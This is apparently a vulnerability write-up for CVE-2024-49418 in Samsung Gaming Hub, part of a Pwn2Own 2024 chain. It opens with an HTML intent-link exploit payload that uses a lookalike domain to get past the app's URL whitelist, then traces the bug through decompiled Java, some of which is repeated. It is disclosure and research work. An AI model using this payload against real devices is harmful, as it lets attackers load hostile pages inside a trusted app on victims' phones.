Samsung GamingHub URL Whitelist Bypass - CVE-2024-49418

The below snippet is taken from the full white paper, available here: https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html

I think you should read the white paper instead :)


Exploit Payload

Below is the payload used in this chain link. An attacker should host this HTML code and trick a user into tapping the hyperlink on their phone:

<html>
    <body>
        <h1>
        <a href=" intent://com.samsung.android.game.gamehome/gmp?url=https://us.mcsvc.samsung.com.<redacted>.com?yayattackeryay=<attackerServer>#Intent;scheme=gamelauncher;end">yaypocyay</a>
        </h1>
    </body>
</html>

Exploit Details

The application “Gaming Hub” (com.samsung.android.game.gamehome version 7.1.01.7) contains an exported Activity (com.samsung.android.game.gamehome.app.MainActivity) which can be launched via Browsable Intent. Depending on the Data URI attached to the Intent, different actions can be executed when the Intent is processed.

MainActivity retrieves the incoming Browsable Intent via the following code, which then passes the Intent onto the class com.samsung.android.game.gamehome.gmp.ui.GmpDeepLinkUtil method c(Context, Intent).

public final class MainActivity extends a {
...
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        ...
        if (bundle == null) {
            Intent intent = getIntent();
            m0(intent);
        }
    ...
    public final void m0(Intent intent) {
        Intent deepLinkIntent = GmpDeepLinkUtil.a.c(this, intent);
        if (deepLinkIntent != null) {
            startActivity(deepLinkIntent);
            finish();
        ...
    }

The class GmpDeepLinkUtil will extract the Data URI from the Intent and create a new Intent object based on the first path segment of the URI. If the first path segment is set to “gmp”, then the following actions are taken:

  • Create a new Intent object and set the component value of that Intent object to com.samsung.android.game.gamehome.gmp.ui.web.GmpWebActivity
  • In the URI object, retrieve the GET parameter “url” and add it as an Intent String Extra called “url” to the newly created Intent object
  • Adds the value “WebView” as an Intent String extra called “target” to the newly created Intent object
  • Return the newly created Intent object
public final class GmpDeepLinkUtil {
...
    public final Intent c(Context context, Intent intent) {
        
        Uri yayuriyay = intent.getData();
        if (yayuriyay == null) {
            return null;
        }
        return d(context, yayuriyay);
    }

    public final Intent d(Context context, Uri yayuriyay) {
        try {
            ...
            String yayfirstpathyay = i(yayuriyay); // retrieves first path value
            ...
            Intent yayintentyay = a(); // create new Intent object
            if (yayfirstpathyay != null) {
                switch (yayfirstpathyay.hashCode()) {
                    ...
                    case 102474: // first path equals `gmp` 
                        if (!yayfirstpathyay.equals("gmp")) {
                            break;
                        } else {
                            String yayqueryyay = yayuriyay.getQueryParameter("url");
                            if (yayqueryyay == null) {
                                return null;
                            }
                            yayintentyay.putExtra("url", yayqueryyay);
                            yayintentyay.putExtra("target", Path.WebView.name());
                            yayintentyay.setClass(context, GmpWebActivity.class);
                            return yayintentyay;
                        }
                    ...
        }
    }

Once the new Intent object is returned, it is passed back to class MainActivity method k0(Intent). From there, startActivity(Intent) is executed against the Intent object, which will launch the component com.samsung.android.game.gamehome.gmp.ui.web.GmpWebActivity.

public final class MainActivity extends a {
...
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        ...
        if (bundle == null) {
            Intent intent = getIntent();
            k0(intent);
        }
    ...
    public final void k0(Intent intent) {
        Intent deepLinkIntent = GmpDeepLinkUtil.a.c(this, intent);
        if (deepLinkIntent != null) {
            startActivity(deepLinkIntent);
            finish();
        ...
    }

In the class com.samsung.android.game.gamehome.gmp.ui.web.GmpWebActivity method onCreate(Bundle), the incoming Intent object is retrieved and the Intent String extra “target” is analyzed. Since the value is set to “WebView”, the application will perform two actions.

First, the Intent object is passed to class com.samsung.android.game.gamehome.gmp.ui.GmpDeepLinkUtil method j(Intent) to retrieve and return the Intent String extra “url”.

public final class GmpWebActivity extends s implements n, p {
...
    
    public void onCreate(Bundle bundle) {
        GmpDeepLinkUtil.Path path;
        super.onCreate(bundle);
        ...
        if (bundle == null) {
            ...
            Intent intent = getIntent();
            path = gmpDeepLinkUtil.h(intent); // retrieves the String extra "target"
        } else {
            path = null;
        }
        int i = path == null ? -1 : b.a[path.ordinal()]; // checks value of "target"
        if (i == 1) {
            ...
        } else if (i == 3) {
            GmpDeepLinkUtil gmpDeepLinkUtil = GmpDeepLinkUtil.a; // new instance
            Intent yayintentyay = getIntent();
            E0(this, gmpDeepLinkUtil.j(yayintentyay), null, false, true, 2, null);
    ...
public final class GmpDeepLinkUtil {
...
    public final String j(Intent intent) {
        String stringExtra = intent.getStringExtra("url");
        return stringExtra == null ? "" : stringExtra;
    }

Next, the returned “url” String extra is passed to class GmpWebActivity method E0(GmpWebActivity, String, String, Boolean, Boolean, int, Object), which passes the “url” to method D0(String, String, boolean, boolean), which then passes the URL to method v0(String).

public final class GmpWebActivity extends s implements n, p {
...
    
    public void onCreate(Bundle bundle) {
        GmpDeepLinkUtil.Path path;
        super.onCreate(bundle);
        ...
        if (bundle == null) {
            ...
            Intent intent = getIntent();
            path = gmpDeepLinkUtil.h(intent); // retrieves the String extra "target"
        } else {
            path = null;
        }
        int i = path == null ? -1 : b.a[path.ordinal()]; // checks value of "target"
        if (i == 1) {
            ...
        } else if (i == 3) {
            GmpDeepLinkUtil gmpDeepLinkUtil = GmpDeepLinkUtil.a; // new instance
            Intent yayintentyay = getIntent();
            E0(this, gmpDeepLinkUtil.j(yayintentyay), null, false, true, 2, null);
    ...

    public static void E0(GmpWebActivity gmpWebActivity, String yayurlyay, String str2, boolean z, boolean z2, int i, Object obj) {
        ...
        gmpWebActivity.D0(yayurlyay, str2, z, z2);
    }
    ...

    public final void D0(String yayurlyay, String str2, boolean z, boolean z2) {
        ...
        final String yayparsedurlyay = q0(yayurlyay); // do stuff if url scheme is either `gamelauncher` or `gmp`
        v0(yayparsedurlyay);

In the method v0(String), a WebView is set to object d and configured. One thing to note is that the “url” value is passed to class com.samsung.android.game.gamehome.gmp.ui.web.GmpWebViewModel method F(String) to check if the “url” value is a valid URL.

public final class GmpWebActivity extends s implements n, p {
...
    
    public final void v0(String yayurlyay) {
        WebView webView = r0().d;
        WebSettings settings = webView.getSettings();
        settings.setDomStorageEnabled(true);
        ...
        if (s0().F(yayurlyay)) {
            p0(webView);
        }
    }

The method F(String) passes the “url” value to multiple different areas of the application. One of these checks determines if the “url” value starts with one of the following:

  • https://us.mcsvc.samsung.com
  • https://d2da9i65hvaere.cloudfront.net/
  • https://gmp.samsungapps.com
  • https://img.samsungapps.com/
  • https://d1559sbyyf3apa.cloudfront.net/
  • https://smax.samsungapps.com
  • https://d2da9i65hvaere.cloudfront.net/

BUG 1 – Insufficient check against the URL

Some of the URLs above did not end with the “/” character. Because of this, the host value of the incoming “url” simply needs to start with one of the vulnerable values.

For example, in this exploit chain, our “url” value is set to https://us.mcsvc.samsung.com.maliciouserection.com?yayattackeryay=<attackerServer>. Since the URL does start with https://us.mcsvc.samsung.com, this check will pass successfully.

After the check in the F(String) method is checked and it passes, the “url” value is passed to method p0(WebView). This method will take the WebView object d and enable JavaScript.

public final class GmpWebActivity extends s implements n, p {
...
    
    public final void v0(String yayurlyay) {
        WebView webView = r0().d;
        WebSettings settings = webView.getSettings();
        settings.setDomStorageEnabled(true);
        ...
        if (s0().F(yayurlyay)) {
            p0(webView);
        }
    }
    ...
    public final void p0(WebView webView) {
        webView.getSettings().setJavaScriptEnabled(true);
        webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
        ...

Going back to method D0(String, String, boolean, boolean), the “url” value is passed to the method w0(String).

public final class GmpWebActivity extends s implements n, p {
...
    public final void D0(String yayurlyay, String str2, boolean z, boolean z2) {
        ...
        final String yayparsedurlyay = q0(yayurlyay); // do stuff if url scheme is either `gamelauncher` or `gmp`
        v0(yayparsedurlyay);
        if (z2) {
                s0().G(false, new a() { 
                        ...
                        public final void a() {
                            GmpWebActivity.this.w0(yayparsedurlyay);
                        }

In method w0(String), the WebView object d is forced to load the URL value that was stored in our “url” value.

public final class GmpWebActivity extends s implements n, p {
...
    public final void w0(String yayurlyay) {
        ...
        r0().d.loadUrl(yayurlyay);
    }

BUG 2 – WebView Loads Any URL

The WebView does not check the incoming URL before loading the URL. So the “url” value used in our exploit chain (https://us.mcsvc.samsung.com.maliciouserection.com?yayattackeryay=<attackerServer>) will be loaded into the WebView.

Screenshot of Gaming Hub loading the URL https://us.mcsvc.samsung.com.maliciouserection.com?yayattackeryay=<attackerServer>: